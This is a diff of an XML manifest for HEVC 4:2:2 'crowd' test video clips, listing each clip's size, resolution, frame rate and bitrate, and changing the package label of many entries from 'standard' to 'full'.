   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=190314,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2362360,package=standard</value>
+    <value>mime=video/hevc,size=190314,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2362360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=190452,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2364072,package=standard</value>
+    <value>mime=video/hevc,size=190452,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2364072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=275599,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3428432,package=standard</value>
+    <value>mime=video/hevc,size=275599,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3428432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=165181,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2048800,package=standard</value>
+    <value>mime=video/hevc,size=165181,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2048800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=189326,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2350000,package=standard</value>
+    <value>mime=video/hevc,size=189326,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2350000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189479,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=189784,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355736,package=standard</value>
+    <value>mime=video/hevc,size=189784,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=standard</value>
+    <value>mime=video/hevc,size=189476,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2351880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=189771,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355568,package=standard</value>
+    <value>mime=video/hevc,size=189771,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=189772,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355584,package=standard</value>
+    <value>mime=video/hevc,size=189772,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2355584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=227470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2830656,package=standard</value>
+    <value>mime=video/hevc,size=227470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2830656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1024x1024p50f32_2000kbps.mp4">
-    <value>mime=video/hevc,size=154289,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1912144,package=standard</value>
+    <value>mime=video/hevc,size=154289,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1912144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1024x576p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=88935,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1095136,package=standard</value>
+    <value>mime=video/hevc,size=88935,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1095136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1024x768p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=118923,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1469984,package=standard</value>
+    <value>mime=video/hevc,size=118923,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1469984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1080x1440p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=233636,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2903880,package=standard</value>
+    <value>mime=video/hevc,size=233636,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2903880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1080x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=299016,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3721432,package=standard</value>
+    <value>mime=video/hevc,size=299016,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3721432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1080x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18194,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=210872,package=standard</value>
+    <value>mime=video/hevc,size=18194,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=210872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1088x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=299220,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3723984,package=standard</value>
+    <value>mime=video/hevc,size=299220,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3723984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1152x2048p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=339961,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4233248,package=standard</value>
+    <value>mime=video/hevc,size=339961,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4233248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1280x1280p50f32_3200kbps.mp4">
-    <value>mime=video/hevc,size=233240,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2899232,package=standard</value>
+    <value>mime=video/hevc,size=233240,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2899232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1280x1920p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=357244,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4449280,package=standard</value>
+    <value>mime=video/hevc,size=357244,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4449280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1280x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17915,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=207384,package=standard</value>
+    <value>mime=video/hevc,size=17915,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=207384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1280x720p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=141585,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1753256,package=standard</value>
+    <value>mime=video/hevc,size=141585,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1753256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1280x960p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=182310,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2262320,package=standard</value>
+    <value>mime=video/hevc,size=182310,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2262320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_128x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15738,width=128,height=128,frame-rate=50,profile=,level=,bitrate=180272,package=standard</value>
+    <value>mime=video/hevc,size=15738,width=128,height=128,frame-rate=50,profile=,level=,bitrate=180272,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_128x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16206,width=128,height=192,frame-rate=50,profile=,level=,bitrate=186024,package=standard</value>
+    <value>mime=video/hevc,size=16206,width=128,height=192,frame-rate=50,profile=,level=,bitrate=186024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_128x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15325,width=128,height=72,frame-rate=50,profile=,level=,bitrate=175320,package=standard</value>
+    <value>mime=video/hevc,size=15325,width=128,height=72,frame-rate=50,profile=,level=,bitrate=175320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_128x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15702,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179936,package=standard</value>
+    <value>mime=video/hevc,size=15702,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1440x1080p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=234105,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2909744,package=standard</value>
+    <value>mime=video/hevc,size=234105,width=1440,height=1080,frame-rate=50,profile=,level=,bitrate=2909744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1440x1440p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=299101,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3722496,package=standard</value>
+    <value>mime=video/hevc,size=299101,width=1440,height=1440,frame-rate=50,profile=,level=,bitrate=3722496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1440x1920p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=401277,width=1440,height=1920,frame-rate=50,profile=,level=,bitrate=4999696,package=full</value>
@@ -19203,46 +19203,46 @@
     <value>mime=video/hevc,size=539670,width=1440,height=2560,frame-rate=50,profile=,level=,bitrate=6729608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1440x960p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=205009,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2546056,package=standard</value>
+    <value>mime=video/hevc,size=205009,width=1440,height=960,frame-rate=50,profile=,level=,bitrate=2546056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_144x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15888,width=144,height=144,frame-rate=50,profile=,level=,bitrate=182048,package=standard</value>
+    <value>mime=video/hevc,size=15888,width=144,height=144,frame-rate=50,profile=,level=,bitrate=182048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_144x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16201,width=144,height=176,frame-rate=50,profile=,level=,bitrate=186056,package=standard</value>
+    <value>mime=video/hevc,size=16201,width=144,height=176,frame-rate=50,profile=,level=,bitrate=186056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_144x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16496,width=144,height=192,frame-rate=50,profile=,level=,bitrate=189648,package=standard</value>
+    <value>mime=video/hevc,size=16496,width=144,height=192,frame-rate=50,profile=,level=,bitrate=189648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_144x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16642,width=144,height=256,frame-rate=50,profile=,level=,bitrate=191480,package=standard</value>
+    <value>mime=video/hevc,size=16642,width=144,height=256,frame-rate=50,profile=,level=,bitrate=191480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_144x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15553,width=144,height=96,frame-rate=50,profile=,level=,bitrate=177872,package=standard</value>
+    <value>mime=video/hevc,size=15553,width=144,height=96,frame-rate=50,profile=,level=,bitrate=177872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1536x2048p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=452745,width=1536,height=2048,frame-rate=50,profile=,level=,bitrate=5643048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_160x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16936,width=160,height=240,frame-rate=50,profile=,level=,bitrate=195144,package=standard</value>
+    <value>mime=video/hevc,size=16936,width=160,height=240,frame-rate=50,profile=,level=,bitrate=195144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_172x172p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16761,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192960,package=standard</value>
+    <value>mime=video/hevc,size=16761,width=172,height=172,frame-rate=50,profile=,level=,bitrate=192960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_176x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16062,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184224,package=standard</value>
+    <value>mime=video/hevc,size=16062,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_176x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15865,width=176,height=96,frame-rate=50,profile=,level=,bitrate=181768,package=standard</value>
+    <value>mime=video/hevc,size=15865,width=176,height=96,frame-rate=50,profile=,level=,bitrate=181768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1920x1080p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=309723,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3854968,package=standard</value>
+    <value>mime=video/hevc,size=309723,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3854968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1920x1088p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=309974,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3858112,package=standard</value>
+    <value>mime=video/hevc,size=309974,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=3858112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1920x1280p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=357796,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4456184,package=standard</value>
+    <value>mime=video/hevc,size=357796,width=1920,height=1280,frame-rate=50,profile=,level=,bitrate=4456184,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1920x1440p50f32_5500kbps.mp4">
     <value>mime=video/hevc,size=400085,width=1920,height=1440,frame-rate=50,profile=,level=,bitrate=4984800,package=full</value>
@@ -19254,25 +19254,25 @@
     <value>mime=video/hevc,size=728841,width=1920,height=2560,frame-rate=50,profile=,level=,bitrate=9094248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_1920x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17336,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=200448,package=standard</value>
+    <value>mime=video/hevc,size=17336,width=1920,height=64,frame-rate=50,profile=,level=,bitrate=200448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_192x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15954,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182968,package=standard</value>
+    <value>mime=video/hevc,size=15954,width=192,height=128,frame-rate=50,profile=,level=,bitrate=182968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_192x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16191,width=192,height=144,frame-rate=50,profile=,level=,bitrate=185936,package=standard</value>
+    <value>mime=video/hevc,size=16191,width=192,height=144,frame-rate=50,profile=,level=,bitrate=185936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_192x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17085,width=192,height=192,frame-rate=50,profile=,level=,bitrate=197008,package=standard</value>
+    <value>mime=video/hevc,size=17085,width=192,height=192,frame-rate=50,profile=,level=,bitrate=197008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_192x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17166,width=192,height=256,frame-rate=50,profile=,level=,bitrate=198032,package=standard</value>
+    <value>mime=video/hevc,size=17166,width=192,height=256,frame-rate=50,profile=,level=,bitrate=198032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_192x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17272,width=192,height=288,frame-rate=50,profile=,level=,bitrate=199360,package=standard</value>
+    <value>mime=video/hevc,size=17272,width=192,height=288,frame-rate=50,profile=,level=,bitrate=199360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_2048x1152p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=343424,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4276536,package=standard</value>
+    <value>mime=video/hevc,size=343424,width=2048,height=1152,frame-rate=50,profile=,level=,bitrate=4276536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_2048x1536p50f32_6200kbps.mp4">
     <value>mime=video/hevc,size=451978,width=2048,height=1536,frame-rate=50,profile=,level=,bitrate=5633456,package=full</value>
@@ -19284,22 +19284,22 @@
     <value>mime=video/hevc,size=1249702,width=2160,height=3840,frame-rate=50,profile=,level=,bitrate=15605000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_216x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17482,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201984,package=standard</value>
+    <value>mime=video/hevc,size=17482,width=216,height=288,frame-rate=50,profile=,level=,bitrate=201984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_2304x4096p50f32_18800kbps.mp4">
     <value>mime=video/hevc,size=1433242,width=2304,height=4096,frame-rate=50,profile=,level=,bitrate=17899256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_240x160p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16809,width=240,height=160,frame-rate=50,profile=,level=,bitrate=193560,package=standard</value>
+    <value>mime=video/hevc,size=16809,width=240,height=160,frame-rate=50,profile=,level=,bitrate=193560,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_240x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17549,width=240,height=240,frame-rate=50,profile=,level=,bitrate=202808,package=standard</value>
+    <value>mime=video/hevc,size=17549,width=240,height=240,frame-rate=50,profile=,level=,bitrate=202808,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_240x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18204,width=240,height=320,frame-rate=50,profile=,level=,bitrate=211008,package=standard</value>
+    <value>mime=video/hevc,size=18204,width=240,height=320,frame-rate=50,profile=,level=,bitrate=211008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_240x360p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18543,width=240,height=360,frame-rate=50,profile=,level=,bitrate=215248,package=standard</value>
+    <value>mime=video/hevc,size=18543,width=240,height=360,frame-rate=50,profile=,level=,bitrate=215248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_2560x1440p50f32_7300kbps.mp4">
     <value>mime=video/hevc,size=532307,width=2560,height=1440,frame-rate=50,profile=,level=,bitrate=6637568,package=full</value>
@@ -19314,34 +19314,34 @@
     <value>mime=video/hevc,size=1494542,width=2560,height=3840,frame-rate=50,profile=,level=,bitrate=18665496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_256x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16977,width=256,height=144,frame-rate=50,profile=,level=,bitrate=195672,package=standard</value>
+    <value>mime=video/hevc,size=16977,width=256,height=144,frame-rate=50,profile=,level=,bitrate=195672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_256x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17344,width=256,height=192,frame-rate=50,profile=,level=,bitrate=200256,package=standard</value>
+    <value>mime=video/hevc,size=17344,width=256,height=192,frame-rate=50,profile=,level=,bitrate=200256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_256x256p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17912,width=256,height=256,frame-rate=50,profile=,level=,bitrate=207344,package=standard</value>
+    <value>mime=video/hevc,size=17912,width=256,height=256,frame-rate=50,profile=,level=,bitrate=207344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_264x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18559,width=264,height=352,frame-rate=50,profile=,level=,bitrate=215432,package=standard</value>
+    <value>mime=video/hevc,size=18559,width=264,height=352,frame-rate=50,profile=,level=,bitrate=215432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_2880x3840p50f32_22100kbps.mp4">
     <value>mime=video/hevc,size=1696745,width=2880,height=3840,frame-rate=50,profile=,level=,bitrate=21193032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_288x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17472,width=288,height=192,frame-rate=50,profile=,level=,bitrate=201856,package=standard</value>
+    <value>mime=video/hevc,size=17472,width=288,height=192,frame-rate=50,profile=,level=,bitrate=201856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_288x216p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17606,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203536,package=standard</value>
+    <value>mime=video/hevc,size=17606,width=288,height=216,frame-rate=50,profile=,level=,bitrate=203536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_288x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18003,width=288,height=288,frame-rate=50,profile=,level=,bitrate=208480,package=standard</value>
+    <value>mime=video/hevc,size=18003,width=288,height=288,frame-rate=50,profile=,level=,bitrate=208480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_288x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19076,width=288,height=352,frame-rate=50,profile=,level=,bitrate=221896,package=standard</value>
+    <value>mime=video/hevc,size=19076,width=288,height=352,frame-rate=50,profile=,level=,bitrate=221896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_288x512p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20799,width=288,height=512,frame-rate=50,profile=,level=,bitrate=243432,package=standard</value>
+    <value>mime=video/hevc,size=20799,width=288,height=512,frame-rate=50,profile=,level=,bitrate=243432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_3072x4096p50f32_24000kbps.mp4">
     <value>mime=video/hevc,size=1853165,width=3072,height=4096,frame-rate=50,profile=,level=,bitrate=23148296,package=full</value>
@@ -19350,55 +19350,55 @@
     <value>mime=video/hevc,size=1852521,width=3120,height=4160,frame-rate=50,profile=,level=,bitrate=23140248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_320x240p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18111,width=320,height=240,frame-rate=50,profile=,level=,bitrate=209848,package=standard</value>
+    <value>mime=video/hevc,size=18111,width=320,height=240,frame-rate=50,profile=,level=,bitrate=209848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_320x320p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18450,width=320,height=320,frame-rate=50,profile=,level=,bitrate=214072,package=standard</value>
+    <value>mime=video/hevc,size=18450,width=320,height=320,frame-rate=50,profile=,level=,bitrate=214072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_320x480p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=26367,width=320,height=480,frame-rate=50,profile=,level=,bitrate=313032,package=standard</value>
+    <value>mime=video/hevc,size=26367,width=320,height=480,frame-rate=50,profile=,level=,bitrate=313032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_350x350p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=20054,width=350,height=350,frame-rate=50,profile=,level=,bitrate=234112,package=standard</value>
+    <value>mime=video/hevc,size=20054,width=350,height=350,frame-rate=50,profile=,level=,bitrate=234112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_352x264p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18686,width=352,height=264,frame-rate=50,profile=,level=,bitrate=217024,package=standard</value>
+    <value>mime=video/hevc,size=18686,width=352,height=264,frame-rate=50,profile=,level=,bitrate=217024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_352x288p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18594,width=352,height=288,frame-rate=50,profile=,level=,bitrate=215872,package=standard</value>
+    <value>mime=video/hevc,size=18594,width=352,height=288,frame-rate=50,profile=,level=,bitrate=215872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_352x352p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=19558,width=352,height=352,frame-rate=50,profile=,level=,bitrate=227920,package=standard</value>
+    <value>mime=video/hevc,size=19558,width=352,height=352,frame-rate=50,profile=,level=,bitrate=227920,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_356x638p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34998,width=356,height=638,frame-rate=50,profile=,level=,bitrate=420912,package=standard</value>
+    <value>mime=video/hevc,size=34998,width=356,height=638,frame-rate=50,profile=,level=,bitrate=420912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_356x640p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35080,width=356,height=640,frame-rate=50,profile=,level=,bitrate=421936,package=standard</value>
+    <value>mime=video/hevc,size=35080,width=356,height=640,frame-rate=50,profile=,level=,bitrate=421936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/resolution/crowd_358x636p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34973,width=358,height=636,frame-rate=50,profile=,level=,bitrate=420584,package=standard</value>
+    <value>mime=video/hevc,size=34973,width=358,height=636,frame-rate=50,profile=,level=,bitrate=420584,package=full</value>
   </entry>
